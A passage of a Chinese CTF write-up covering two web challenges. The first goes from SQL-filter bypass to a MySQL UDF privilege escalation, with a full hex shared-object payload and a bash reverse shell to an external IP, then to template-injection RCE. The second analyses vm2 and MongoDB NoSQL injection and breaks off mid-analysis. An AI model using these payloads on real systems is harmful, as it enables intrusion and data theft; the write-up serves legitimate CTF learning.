预期难度: 中等(270 / 1000 pts / 55 solves);使用 codex 预期解耗时:> 5 小时 / 无法解出
题目定位: 一个经典的 CTF 黑盒题,包括经典 UDF + 应用逻辑提权。
比赛时候实测确实是 5h 以上也看不出解出的希望(
进去可以先看到 Draw Name 和 Calc
这个 Draw Name 随便输入一点,感觉像是加密了一遍,并不是随机数,然后 Calc 可以直接执行 SQL 代码
可以用 Bp 简单 fuzz 一下:
可以知道 FUZZ 了以下词:
1 "INSERT", "UPDATE", "OUTFILE", "DUMPFILE", "FUNCTION", "SCHEMA", "_", "FLAG","PREPARE", "DELETE", "DROP", "ALTER", "CREATE", "UNION", "SELECT", "=", "@@", "SET", "INTO",
不过并没有过滤引号和 EXECUTE 之类的,过滤掉的一些关键词也可以通过命令拼接来实现:
1 1 ;EXECUTE IMMEDIATE concat("sel", "ect ", unhex('40' ), unhex('40' ), "secure", unhex('5f' ), "file", unhex('5f' ), "priv");
可以发现 secure_file_priv 的值为空
1 1 ;EXECUTE IMMEDIATE concat("sel", "ect ", unhex('40' ), unhex('40' ), "plugin", unhex('5f' ), "dir");
可以返回:@@plugin_dir: [47 117 115 114 47 108 105 98 47 109 121 115 113 108 47 112 108 117 103 105 110 47]
解码后可以知道是:/usr/lib/mysql/plugin/
从上面两个可以得知接下来的步骤就是进行 UDF 提权
1 1 ;EXECUTE IMMEDIATE concat("SEL", "ECT 0x7f454c4602010100000000000000000003003e0001000000d00c0000000000004000000000000000e8180000000000000000000040003800050040001a00190001000000050000000000000000000000000000000000000000000000000000001415000000000000141500000000000000002000000000000100000006000000181500000000000018152000000000001815200000000000700200000000000080020000000000000000200000000000020000000600000040150000000000004015200000000000401520000000000090010000000000009001000000000000080000000000000050e57464040000006412000000000000641200000000000064120000000000009c000000000000009c00000000000000040000000000000051e5746406000000000000000000000000000000000000000000000000000000000000000000000000000000000000000800000000000000250000002b0000001500000005000000280000001e000000000000000000000006000000000000000c00000000000000070000002a00000009000000210000000000000000000000270000000b0000002200000018000000240000000e00000000000000040000001d0000001600000000000000130000000000000000000000120000002300000010000000250000001a0000000f000000000000000000000000000000000000001b00000000000000030000000000000000000000000000000000000000000000000000002900000014000000000000001900000020000000000000000a00000011000000000000000000000000000000000000000d0000002600000017000000000000000800000000000000000000000000000000000000000000001f0000001c0000000000000000000000000000000000000000000000020000000000000011000000140000000200000007000000800803499119c4c93da4400398046883140000001600000017000000190000001b0000001d0000002000000022000000000000002300000000000000240000002500000027000000290000002a00000000000000ce2cc0ba673c7690ebd3ef0e78722788b98df10ed871581cc1e2f7dea868be12bbe3927c7e8b92cd1e7066a9c3f9bfba745bb073371974ec4345d5ecc5a62c1cc3138aff36ac68ae3b9fd4a0ac73d1c525681b320b5911feab5fbe120000000000000000000000000000000000000000000000000000000003000900a00b0000000000000000000000000000010000002000000000000000000000000000000000000000250000002000000000000000000000000000000000000000e0000000120000000000000000000000de01000000000000790100001200000000000000000000007700000000000000ba0000001200000000000000000000003504000000000000f5000000120000000000000000000000c2010000000000009e010000120000000000000000000000d900000000000000fb000000120000000000000000000000050000000000000016000000220000000000000000000000fe00000000000000cf000000120000000000000000000000ad00000000000000880100001200000000000000000000008000000000000000ab010000120000000000000000000000250100000000000010010000120000000000000000000000dc00000000000000c7000000120000000000000000000000c200000000000000b5000000120000000000000000000000cc02000000000000ed000000120000000000000000000000e802000000000000e70000001200000000000000000000009b00000000000000c200000012000000000000000000000028000000000000008001000012000b007a100000000000006e000000000000007500000012000b00a70d00000000000001000000000000001000000012000c00781100000000000000000000000000003f01000012000b001a100000000000002d000000000000001f01000012000900a00b0000000000000000000000000000c30100001000f1ff881720000000000000000000000000009600000012000b00ab0d00000000000001000000000000007001000012000b0066100000000000001400000000000000cf0100001000f1ff981720000000000000000000000000005600000012000b00a50d00000000000001000000000000000201000012000b002e0f0000000000002900000000000000a301000012000b00f71000000000000041000000000000003900000012000b00a40d00000000000001000000000000003201000012000b00ea0f0000000000003000000000000000bc0100001000f1ff881720000000000000000000000000006500000012000b00a60d00000000000001000000000000002501000012000b00800f0000000000006a000000000000008500000012000b00a80d00000000000003000000000000001701000012000b00570f00000000000029000000000000005501000012000b0047100000000000001f00000000000000a900000012000b00ac0d0000000000009a000000000000008f01000012000b00e8100000000000000f00000000000000d700000012000b00460e000000000000e800000000000000005f5f676d6f6e5f73746172745f5f005f66696e69005f5f6378615f66696e616c697a65005f4a765f5265676973746572436c6173736573006c69625f6d7973716c7564665f7379735f696e666f5f6465696e6974007379735f6765745f6465696e6974007379735f657865635f6465696e6974007379735f6576616c5f6465696e6974007379735f62696e6576616c5f696e6974007379735f62696e6576616c5f6465696e6974007379735f62696e6576616c00666f726b00737973636f6e66006d6d6170007374726e6370790077616974706964007379735f6576616c006d616c6c6f6300706f70656e007265616c6c6f630066676574730070636c6f7365007379735f6576616c5f696e697400737472637079007379735f657865635f696e6974007379735f7365745f696e6974007379735f6765745f696e6974006c69625f6d7973716c7564665f7379735f696e666f006c69625f6d7973716c7564665f7379735f696e666f5f696e6974007379735f657865630073797374656d007379735f73657400736574656e76007379735f7365745f6465696e69740066726565007379735f67657400676574656e76006c6962632e736f2e36005f6564617461005f5f6273735f7374617274005f656e6400474c4942435f322e322e35000000000000000000020002000200020002000200020002000200020002000200020002000200020001000100010001000100010001000100010001000100010001000100010001000100010001000100010001000100000001000100b20100001000000000000000751a690900000200d401000000000000801720000000000008000000000000008017200000000000d01620000000000006000000020000000000000000000000d81620000000000006000000030000000000000000000000e016200000000000060000000a00000000000000000000000017200000000000070000000400000000000000000000000817200000000000070000000500000000000000000000001017200000000000070000000600000000000000000000001817200000000000070000000700000000000000000000002017200000000000070000000800000000000000000000002817200000000000070000000900000000000000000000003017200000000000070000000a00000000000000000000003817200000000000070000000b00000000000000000000004017200000000000070000000c00000000000000000000004817200000000000070000000d00000000000000000000005017200000000000070000000e00000000000000000000005817200000000000070000000f00000000000000000000006017200000000000070000001000000000000000000000006817200000000000070000001100000000000000000000007017200000000000070000001200000000000000000000007817200000000000070000001300000000000000000000004883ec08e827010000e8c2010000e88d0500004883c408c3ff35320b2000ff25340b20000f1f4000ff25320b20006800000000e9e0ffffffff252a0b20006801000000e9d0ffffffff25220b20006802000000e9c0ffffffff251a0b20006803000000e9b0ffffffff25120b20006804000000e9a0ffffffff250a0b20006805000000e990ffffffff25020b20006806000000e980ffffffff25fa0a20006807000000e970ffffffff25f20a20006808000000e960ffffffff25ea0a20006809000000e950ffffffff25e20a2000680a000000e940ffffffff25da0a2000680b000000e930ffffffff25d20a2000680c000000e920ffffffff25ca0a2000680d000000e910ffffffff25c20a2000680e000000e900ffffffff25ba0a2000680f000000e9f0feffff00000000000000004883ec08488b05f50920004885c07402ffd04883c408c390909090909090909055803d900a2000004889e5415453756248833dd809200000740c488b3d6f0a2000e812ffffff488d05130820004c8d2504082000488b15650a20004c29e048c1f803488d58ff4839da73200f1f440000488d4201488905450a200041ff14c4488b153a0a20004839da72e5c605260a2000015b415cc9c3660f1f8400000000005548833dbf072000004889e57422488b05530920004885c07416488d3da70720004989c3c941ffe30f1f840000000000c9c39090c3c3c3c331c0c3c341544883c9ff4989f455534883ec10488b4610488b3831c0f2ae48f7d1488d69ffe8b6feffff83f80089c77c61754fbf1e000000e803feffff488d70ff4531c94531c031ffb921000000ba07000000488d042e48f7d64821c6e8aefeffff4883f8ff4889c37427498b4424104889ea4889df488b30e852feffffffd3eb0cba0100000031f6e802feffff31c0eb05b8010000005a595b5d415cc34157bf00040000415641554531ed415455534889f34883ec1848894c24104c89442408e85afdffffbf010000004989c6e84dfdffffc600004889c5488b4310488d356a030000488b38e814feffff4989c7eb374c89f731c04883c9fff2ae4889ef48f7d1488d59ff4d8d641d004c89e6e8ddfdffff4a8d3c284889da4c89f64d89e54889c5e8a8fdffff4c89fabe080000004c89f7e818fdffff4885c075b44c89ffe82bfdffff807d0000750a488b442408c60001eb1f42c6442dff0031c04883c9ff4889eff2ae488b44241048f7d148ffc94889084883c4184889e85b5d415c415d415e415fc34883ec08833e014889d7750b488b460831d2833800740e488d353a020000e817fdffffb20188d05ec34883ec08833e014889d7750b488b460831d2833800740e488d3511020000e8eefcffffb20188d05fc3554889fd534889d34883ec08833e027409488d3519020000eb3f488b46088338007409488d3526020000eb2dc7400400000000488b4618488b384883c70248037808e801fcffff31d24885c0488945107511488d351f0200004889dfe887fcffffb20141585b88d05dc34883ec08833e014889f94889d77510488b46088338007507c6010131c0eb0e488d3576010000e853fcffffb0014159c34154488d35ef0100004989cc4889d7534889d34883ec08e832fcffff49c704241e0000004889d8415a5b415cc34883ec0831c0833e004889d7740e488d35d5010000e807fcffffb001415bc34883ec08488b4610488b38e862fbffff5a4898c34883ec28488b46184c8b4f104989f2488b08488b46104c89cf488b004d8d4409014889c6f3a44c89c7498b4218488b0041c6040100498b4210498b5218488b4008488b4a08ba010000004889c6f3a44c89c64c89cf498b4218488b400841c6040000e867fbffff4883c4284898c3488b7f104885ff7405e912fbffffc3554889cd534c89c34883ec08488b4610488b38e849fbffff4885c04889c27505c60301eb1531c04883c9ff4889d7f2ae48f7d148ffc948894d00595b4889d05dc39090909090909090554889e5534883ec08488b05c80320004883f8ff7419488d1dbb0320000f1f004883eb08ffd0488b034883f8ff75f14883c4085bc9c390904883ec08e86ffbffff4883c408c345787065637465642065786163746c79206f6e6520737472696e67207479706520706172616d657465720045787065637465642065786163746c792074776f20617267756d656e747300457870656374656420737472696e67207479706520666f72206e616d6520706172616d6574657200436f756c64206e6f7420616c6c6f63617465206d656d6f7279006c69625f6d7973716c7564665f7379732076657273696f6e20302e302e34004e6f20617267756d656e747320616c6c6f77656420287564663a206c69625f6d7973716c7564665f7379735f696e666f290000011b033b980000001200000040fbffffb400000041fbffffcc00000042fbffffe400000043fbfffffc00000044fbffff1401000047fbffff2c01000048fbffff44010000e2fbffff6c010000cafcffffa4010000f3fcffffbc0100001cfdffffd401000086fdfffff4010000b6fdffff0c020000e3fdffff2c02000002feffff4402000016feffff5c02000084feffff7402000093feffff8c0200001400000000000000017a5200017810011b0c070890010000140000001c00000084faffff01000000000000000000000014000000340000006dfaffff010000000000000000000000140000004c00000056faffff01000000000000000000000014000000640000003ffaffff010000000000000000000000140000007c00000028faffff030000000000000000000000140000009400000013faffff01000000000000000000000024000000ac000000fcf9ffff9a00000000420e108c02480e18410e20440e3083048603000000000034000000d40000006efaffffe800000000420e10470e18420e208d048e038f02450e28410e30410e38830786068c05470e50000000000000140000000c0100001efbffff2900000000440e100000000014000000240100002ffbffff2900000000440e10000000001c0000003c01000040fbffff6a00000000410e108602440e188303470e200000140000005c0100008afbffff3000000000440e10000000001c00000074010000a2fbffff2d00000000420e108c024e0e188303470e2000001400000094010000affbffff1f00000000440e100000000014000000ac010000b6fbffff1400000000440e100000000014000000c4010000b2fbffff6e00000000440e300000000014000000dc01000008fcffff0f00000000000000000000001c000000f4010000fffbffff4100000000410e108602440e188303470e2000000000000000000000ffffffffffffffff0000000000000000ffffffffffffffff000000000000000000000000000000000100000000000000b2010000000000000c00000000000000a00b0000000000000d00000000000000781100000000000004000000000000005801000000000000f5feff6f00000000a00200000000000005000000000000006807000000000000060000000000000060030000000000000a00000000000000e0010000000000000b0000000000000018000000000000000300000000000000e81620000000000002000000000000008001000000000000140000000000000007000000000000001700000000000000200a0000000000000700000000000000c0090000000000000800000000000000600000000000000009000000000000001800000000000000feffff6f00000000a009000000000000ffffff6f000000000100000000000000f0ffff6f000000004809000000000000f9ffff6f0000000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000401520000000000000000000000000000000000000000000ce0b000000000000de0b000000000000ee0b000000000000fe0b0000000000000e0c0000000000001e0c0000000000002e0c0000000000003e0c0000000000004e0c0000000000005e0c0000000000006e0c0000000000007e0c0000000000008e0c0000000000009e0c000000000000ae0c000000000000be0c0000000000008017200000000000004743433a202844656269616e20342e332e322d312e312920342e332e3200004743433a202844656269616e20342e332e322d312e312920342e332e3200004743433a202844656269616e20342e332e322d312e312920342e332e3200004743433a202844656269616e20342e332e322d312e312920342e332e3200004743433a202844656269616e20342e332e322d312e312920342e332e3200002e7368737472746162002e676e752e68617368002e64796e73796d002e64796e737472002e676e752e76657273696f6e002e676e752e76657273696f6e5f72002e72656c612e64796e002e72656c612e706c74002e696e6974002e74657874002e66696e69002e726f64617461002e65685f6672616d655f686472002e65685f6672616d65002e63746f7273002e64746f7273002e6a6372002e64796e616d6963002e676f74002e676f742e706c74002e64617461002e627373002e636f6d6d656e7400000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000f0000000500000002000000000000005801000000000000580100000000000048010000000000000300000000000000080000000000000004000000000000000b000000f6ffff6f0200000000000000a002000000000000a002000000000000c000000000000000030000000000000008000000000000000000000000000000150000000b00000002000000000000006003000000000000600300000000000008040000000000000400000002000000080000000000000018000000000000001d00000003000000020000000000000068070000000000006807000000000000e00100000000000000000000000000000100000000000000000000000000000025000000ffffff6f020000000000000048090000000000004809000000000000560000000000000003000000000000000200000000000000020000000000000032000000feffff6f0200000000000000a009000000000000a009000000000000200000000000000004000000010000000800000000000000000000000000000041000000040000000200000000000000c009000000000000c00900000000000060000000000000000300000000000000080000000000000018000000000000004b000000040000000200000000000000200a000000000000200a0000000000008001000000000000030000000a0000000800000000000000180000000000000055000000010000000600000000000000a00b000000000000a00b000000000000180000000000000000000000000000000400000000000000000000000000000050000000010000000600000000000000b80b000000000000b80b00000000000010010000000000000000000000000000040000000000000010000000000000005b000000010000000600000000000000d00c000000000000d00c000000000000a80400000000000000000000000000001000000000000000000000000000000061000000010000000600000000000000781100000000000078110000000000000e000000000000000000000000000000040000000000000000000000000000006700000001000000320000000000000086110000000000008611000000000000dd000000000000000000000000000000010000000000000001000000000000006f000000010000000200000000000000641200000000000064120000000000009c000000000000000000000000000000040000000000000000000000000000007d000000010000000200000000000000001300000000000000130000000000001402000000000000000000000000000008000000000000000000000000000000870000000100000003000000000000001815200000000000181500000000000010000000000000000000000000000000080000000000000000000000000000008e000000010000000300000000000000281520000000000028150000000000001000000000000000000000000000000008000000000000000000000000000000950000000100000003000000000000003815200000000000381500000000000008000000000000000000000000000000080000000000000000000000000000009a000000060000000300000000000000401520000000000040150000000000009001000000000000040000000000000008000000000000001000000000000000a3000000010000000300000000000000d016200000000000d0160000000000001800000000000000000000000000000008000000000000000800000000000000a8000000010000000300000000000000e816200000000000e8160000000000009800000000000000000000000000000008000000000000000800000000000000b1000000010000000300000000000000801720000000000080170000000000000800000000000000000000000000000008000000000000000000000000000000b7000000080000000300000000000000881720000000000088170000000000001000000000000000000000000000000008000000000000000000000000000000bc000000010000000000000000000000000000000000000088170000000000009b000000000000000000000000000000010000000000000000000000000000000100000003000000000000000000000000000000000000002318000000000000c500000000000000000000000000000001000000000000000000000000000000 IN", "TO DUMP", "FILE '/usr/lib/mysql/plugin/udf.so'");
然后创建函数:
1 1 ;EXECUTE IMMEDIATE concat("cre", "ate func", "tion sys", unhex('5f' ) ,"eval returns string soname 'udf.so'");
然后尝试调用函数:
1 1 ;EXECUTE IMMEDIATE concat("sel", "ect ", "sys", unhex('5f' ), "eval('whoami')");
不过这个解码出来是 mysql,如果执行 cat /flag 会返回 <nil>,说明还需要进一步提权
尝试反弹 shell:
1 1 ; EXECUTE IMMEDIATE concat("sel", "ect ", "sys", unhex('5f' ), "eval('/bin/bash -c ''bash -i >& /dev/tcp/124.xxx/2222 0>&1''')");
然后查看有没有SUID提权:find / -user root -perm -4000 -print 2>/dev/null
好像是没有可以利用的,可以查看进程:
可以看到 MySQL 以 root 权限运行,结合之前的 /Draw 目录,可以推测需要审计源代码,这里可以接入 IDAMCP然后让 AI 去分析,能获得源代码
这里的函数列表:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 type templateFunc struct { safe bool call func (string ) (string , error ) } var templateFuncs = map [string ]templateFunc{ "draw_number" : { safe: true , call: func (name string ) (string , error ) { return fmt.Sprintf("%d" , crc32.ChecksumIEEE([]byte (name))), nil }, }, "strrot" : { safe: true , call: func (value string ) (string , error ) { return strrot(value), nil }, }, "run" : { safe: false , call: func (command string ) (string , error ) { return runCommand(command) }, }, }
runCommand() 直接执行 shell 完成 RCE;
然后就是三个正则:
1 2 3 4 5 6 var ( templateCommandRE = regexp.MustCompile(`(?is)<\\.*?/>` ) templateVarRE = regexp.MustCompile(`(?is)%(.*)%` ) templateFuncRE = regexp.MustCompile(`(?is)^<\\\s*?(([a-z0-9_]+)\('([^']*?)'\);\s*?(unsafe)?\s*?)\s*?/>$` ) quotedCommandRE = regexp.MustCompile(`(?is)^<\\(\s*?('[^']*?')*?\s*?)*?/>$` ) )
渲染模板:
1 2 <h1 > Hello, <b > <\ %name% /></b > </h1 > <p class ="number" > Your number today: <b > <\ draw_number(%name%); /></b > </p >
大概就是绕过正则和替换,让命令执行到 CommandRun() 然后 RCE,可以先看四个正则的逻辑:
1 templateCommandRE = regexp.MustCompile(`(?is)<\\.*?/>` )
就是不分大小写的非贪婪匹配 <\ /> 和里面所包裹的任意字符:非贪婪匹配到第一个/>就会停止
1 templateVarRE = regexp.MustCompile(`(?is)%(.*)%` )
就是匹配 %username% 并捕获 username
1 templateFuncRE = regexp.MustCompile(`(?is)^<\\\s*?(([a-z0-9_]+)\('([^']*?)'\);\s*?(unsafe)?\s*?)\s*?/>$` )
就是匹配函数: <\ 函数名('参数'); [unsafe] />
1 quotedCommandRE = regexp.MustCompile(`(?is)^<\\(\s*?('[^']*?')*?\s*?)*?/>$` )
匹配 <\ '字符串1' '字符串2' ... /> 的结构, 标签内部只能包含单引号包裹的字符串和空白字符
然后这里的处理是有顺序的:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 func parseTemplateString (input string , vars map [string ]string ) (string , error ) { out := input for i := 0 ; i < 100 ; i++ { cmd := templateCommandRE.FindString(out) if cmd == "" { return out, nil } replacement, err := commandHandler(cmd, vars) if err != nil { return "" , err } out = strings.ReplaceAll(out, cmd, replacement) } return "" , errors.New("template recursion limit exceeded" ) } func commandHandler (cmd string , vars map [string ]string ) (string , error ) { handled := cmd if matches := templateVarRE.FindStringSubmatch(cmd); matches != nil { name := matches[1 ] handled = strings.ReplaceAll(handled, "%" +name+"%" , "'" +getVar(name, vars)+"'" ) } else if matches := templateFuncRE.FindStringSubmatch(cmd); matches != nil { body := matches[1 ] funcName := strings.ToLower(matches[2 ]) param := matches[3 ] unsafe := matches[4 ] != "" fn, ok := templateFuncs[funcName] if !ok { return "undefined" , nil } if !unsafe && !fn.safe { return "" , errAccessDenied } res, err := fn.call(param) if err != nil { return "" , err } handled = strings.ReplaceAll(handled, body, "'" +res+"'" ) } if handled != cmd { return handled, nil } if !quotedCommandRE.MatchString(cmd) { return "undefined" , nil } out := strings.ReplaceAll(cmd, "'" , "" ) out = strings.ReplaceAll(out, `<\` , "" ) out = strings.ReplaceAll(out, `/>` , "" ) return out, nil }
前面的一个大循环,只要匹配到 <\ /> 就进入 commandHandler
先执行 templateVarRE.FindStringSubmatch(cmd);,如果发现有 %name% 就替换成 'name'
如果没有就匹配 matches := templateFuncRE.FindStringSubmatch(cmd); 匹配以下字段:
1 2 3 4 body := matches[1 ] funcName := strings.ToLower(matches[2 ]) param := matches[3 ] unsafe := matches[4 ] != ""
然后直接扔给上面的函数去执行
再没有的话就检测 quotedCommandRE.MatchString(cmd),删除 <\ /> '
这里有对安全的校验:
1 2 3 4 5 6 7 8 9 unsafe := matches[4 ] != "" fn, ok := templateFuncs[funcName] if !ok { return "undefined" , nil } if !unsafe && !fn.safe { return "" , errAccessDenied }
也就是说,要么是命令本身的 safe 是 True,要么就是出现 <\run('cat /flag');unsafe/> 这样的形式,所以我们要想办法带上 unsafe
根据执行逻辑,我们可以准备一个嵌套链攻击:
1 2 3 4 5 6 7 8 vars_payload = { "name" : "<<%n1%" , "n1" : "%n2%" , "n2" : r"\\%n3%" , "n3" : "%n4%" , "n4" : "strrot(%" , ' </b></h1>\n <p class="number">Your number today: <b><\\ draw_number(%name' : rotated_command, }
这个 payload 会在运行的时候展开:
1 %name% → ''<<%n1%' → '<<'%n2%'' → '<<''\\%n3%''' → '<<''\\'%n4%'''' → '<<''\\''strrot(%'''''
最后渲染收到的 payload:<\ '<<''\\''strrot(%''''' />
首先 quotedCommandRE 会把单引号都删除:<\ <<\\strrot(% /> 然后再移除 <\ 和 />,变成:<\strrot(%
由于渲染模板固定,所以 /draw 应该收到的就是:
1 2 <h1>Hello, <b> <\strrot(% </b></h1> <p class="number">Your number today: <b><\ draw_number(%name%); /></b></p>
于是根据 templateVarRE.FindStringSubmatch(cmd); 的匹配规则,中间的 </b></h1><p class="number">Your number today: <b><\ draw_number(%name 就都算作一个变量
那么既然可控了,那怎么在 ; /> 这里执行代码?我们已知 strrot(strrot(x)) == x,那么可以利用 strrot 将我们已经提前 strrot 的代码还原回去,从而执行 run(cat /flag)
我们有:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 import urllib.parsedef draw_with_vars (vars_payload ): return "draw?" + urllib.parse.urlencode(vars_payload) def strrot (value ): chars = [] for ch in value: code = ord (ch) if 33 <= code <= 126 : chars.append(chr (33 + ((code - 33 + 47 ) % 94 ))) else : chars.append(ch) return "" .join(chars) def trigger_template_rce (): unsafe_command = r"/><\run('cat /flag');unsafe/>" rotated_command = strrot(unsafe_command) vars_payload = { "name" : "<<%n1%" , "n1" : "%n2%" , "n2" : r"\\%n3%" , "n3" : "%n4%" , "n4" : "strrot(%" , ' </b></h1>\n <p class="number">Your number today: <b><\\ draw_number(%name' : rotated_command, } print ("Payload:" ) body = draw_with_vars(vars_payload) print (body) if __name__ == "__main__" : trigger_template_rce()
AAA’26 题目描述:
AAA’26 Big-1 Conference Single accepted paper, many disappointed authors, immaculate proceedings energy. Held in: TBD Convention Center, Room TBD, City TBD
预期难度: 中等(540 / 1000 pts / 18 solves);使用 codex 预期解耗时:3 小时
题目定位: 一个经典的 CTF 串串题,结合多个传统的新型漏洞(MongoDB、vm2)。
题目是一个提交 Paper 的网站,分有 user,reviewer,admin 三种身份
题目给了附件,所以可以大致预览一下都是什么,可以定位到 lib/ 下才是核心代码
auth.js 下主要是用 JWT 验证 admin,这里可以留个心眼,后面可能需要伪造 JWT 或者是窃取 admin 的 JWT
cameraReady.js 下主要是处理上传的 PDF Paper,里面用到了 pdf-image,底层会调用 ImageMagick 的 convert,然后里面的:
1 2 3 4 5 6 7 8 9 async function buildThumbnail (pdfPath ) { const pdf = new PDFImage (pdfPath, { outputDirectory : config.thumbnailsDir , convertOptions : { '-thumbnail' : '480x360' , '-background' : 'white' , '-alpha' : 'remove' } });
也用到了 ImageMagick 的参数,这里也同样可以留个心眼,可能最后会利用这个命令来进行操作
filters.js 里主要是拼接命令然后交给 vm2 去执行
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 function runReviewerExpression (expression, item ) { if (typeof expression !== 'string' || expression.length === 0 || expression.length > 4096 ) { throw new Error ('invalid expression' ); } const source = ` const paper = item.paper; const review = item.review; const reviewer = item.reviewer; const scores = item.scores; Boolean((() => (${expression} ))()) ` ; return runExpression (source, item); }
这里将表达式直接拼进 source 里,然后交给 vm2:
1 2 3 4 5 function runExpression (source, item, timeout = 1250 ) { const vm = new VM ({ timeout, sandbox : { item } });
在这里接收 expression:
1 2 3 4 function filterAuthorPapers (papers, query ) { const expression = buildAuthorSearchExpression (query || {}); return papers.filter ((paper ) => runAuthorExpression (expression, authorSearchItem (paper))); }
如果说 item 长这样:
1 2 3 4 5 6 7 8 9 item = { paper:{ status:"accepted" }, review:{ score:9 } }
然后输入:
1 2 3 paper.status ==="accepted" && review.score >=8
拼接为:
1 2 3 4 5 6 7 8 const paper=item.paper ;const review=item.review ;Boolean ((() => ( paper.status ==="accepted" && review.score >=8 ))())
返回结果就为 true
然后就是校验权限:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 async function filterReviewerDocuments (app, request, expression ) { const token = getBearerOrCookie (request); const docs = await reviewerDocuments (request.user ); const verified = await app.jwt .verify (token); if (!verified || verified.id !== request.user .id || verified.role !== request.user .role ) { throw new Error ('invalid token' ); } const matches = []; for (const item of docs) { if (runReviewerExpression (expression, filterView (item))) { matches.push (item); } } return matches; }
不过这里没说到底校验的是什么权限,可以留到后面看谁触发了,先猜测一手 reviewer
helpers.js 里主要是一些查询,限定了不同角色可以查看哪些论文,然后就是生成刚刚上面提到的 item
papers.js 里主要是自动拒稿,这里你应该能感觉到要让自己的论文最后变成 Ac 才行
profileImport.js 主要就是转换成 JSON 进行查询,而 MongoDB 的注入一般都发生在传入 JSON object 到表达式这个过程中
1 2 3 4 5 6 onst record = { userId : new ObjectId (userId), retainedMetadata : profile.imported , summary : summarizeServiceRecord (profile.imported , profile.importedFilename ), createdAt : now };
这里上传的 JSON 会被保存在 retainedMetadata 中,而 profile 可控,可控在:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 app.get ('/reviewer/profile' , { preHandler : auth.authenticate }, (request, reply ) => { return renderReviewerProfile (request, reply); }); app.post ('/reviewer/profile' , { preHandler : auth.authenticate }, async (request, reply) => { try { const profile = await readReviewerProfile (request); const result = await saveReviewerProfile (request.user .id , profile); return renderReviewerProfile (request, reply, { message : result.serviceRecord ? 'Reviewer profile saved. Service record queued for committee sync.' : 'Reviewer profile saved.' }); } catch { return renderReviewerProfile (request, reply, { error : 'Reviewer profile could not be imported.' }); } });
然后提交时,系统保存的是当前 draft:
1 2 3 'reviewerProfile.status' : 'Submitted' ,'reviewerProfile.submitted' : { ...draft, submittedAt : new Date () },'reviewerProfile.serviceRecordSummary' : latestRecord.summary
提交后再次上传 service record 时,状态不会被退回 draft:
1 2 3 4 5 const nextStatus = existingProfile.status === 'Submitted' ? 'Submitted' : serviceRecord ? 'Service Record Imported' : 'Draft' ;
也就是说状态一旦为 Submitted 就不会被 saveReviewerProfile 覆写,可以先把 profile 标记为 Submitted(或系统中已有该状态),随后上传带恶意字段的 service record,系统仍然把新 record 用于后续的 syncReviewerServiceSlot,从而成为一个可利用的 oracle
1 2 const submitted = profile && profile.submitted ;const latestRecord = await latestReviewerServiceRecord (userId);
这里 submitted 如果率先提交了一个正常的 profile,那么这个状态就会被固定,而 latestRecord 是以最新的一次提交为准,所以你可以在第二次提交恶意的 profile
然后就是最后的查询:
1 2 3 4 5 6 7 8 9 10 11 function assignmentSlotQuery (submitted, rubric, packet ) { if (!packet || packet.slotValue === undefined ) return null ; return { used : false , track : submitted.track , kind : packet.queue , rubricId : rubric.rubricId , [packet.slotField ]: packet.slotValue }; }
这里接受了一个 [packet.slotField]: packet.slotValue,可以跟踪一下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 const packet = buildServiceDeskPacket (latestRecord, rubric);const slotQuery = rubric ? assignmentSlotQuery (submitted, rubric, packet) : null ;function buildServiceDeskPacket (record, rubric ) { if (!record || !rubric) return null ; const policy = serviceDeskPolicy (rubric); const fieldPath = SERVICE_DESK_FIELDS [policy.externalKey ]; if (!fieldPath) return null ; return { queue : policy.queue , slotField : SERVICE_DESK_CREDENTIALS [policy.credential ] || SERVICE_DESK_CREDENTIALS .invitation , slotValue : valueAtPath (record.retainedMetadata , fieldPath), recordId : record._id }; } function valueAtPath (value, pathParts ) { let current = value; for (const part of pathParts || []) { if (!isPlainObject (current)) return undefined ; current = current[part]; } return current; } const SERVICE_DESK_FIELDS = { overflowReference : ['committee' , 'registration' , 'reference' ], season : ['committee' , 'registration' , 'season' ], desk : ['committee' , 'desk' ] }; const SERVICE_DESK_CREDENTIALS = { invitation : 'code' };
所以这里查询就会变成:
1 2 [packet.slotField]: packet.slotValue code: record.retainedMetadata.committee.registration.reference
然后 record.retainedMetadata.committee.registration.reference 是可控的,这里就算一个 NoSQL 注入
那我们要用这个来查询什么呢?
我们在 /routes/reviewer.js 中可以知道:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 app.post ('/api/reviewer/filter' , { preHandler : auth.requireRole ('reviewer' ) }, async (request, reply) => { const expression = String ((request.body && request.body .expression ) || '' ); try { const docs = await filterReviewerDocuments (app, request, expression); return reply.send ({ ok : true , count : docs.length , results : docs.map ((doc ) => ({ paper : doc.paper , review : doc.review , reviewer : doc.reviewer , scores : doc.scores })) }); } catch { return reply.code (200 ).send ({ ok : false , count : 0 , results : [] }); } });
这个 filters.js 里的校验权限是由 reviewer 来进行的,而想要成为 reviewer,就需要邀请码:
然后 seed.js 下能看到有一个 kind 和邀请码( code ):
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 await reviewerInvites.updateOne ( { email : 'committee-shadow@aaa26.big1' }, { $setOnInsert : { email : 'committee-shadow@aaa26.big1' , code : crypto.randomBytes (18 ).toString ('hex' ), track : 'systems' , kind : 'overflow' , rubricId : 'big1-overflow-systems' , chairStamp : crypto.randomBytes (16 ).toString ('hex' ), used : false , note : 'Overflow reviewer slot for the room marked TBD.' , createdAt : new Date () } }, { upsert : true } );
这里会根据有没有查找到返回不同的状态码:
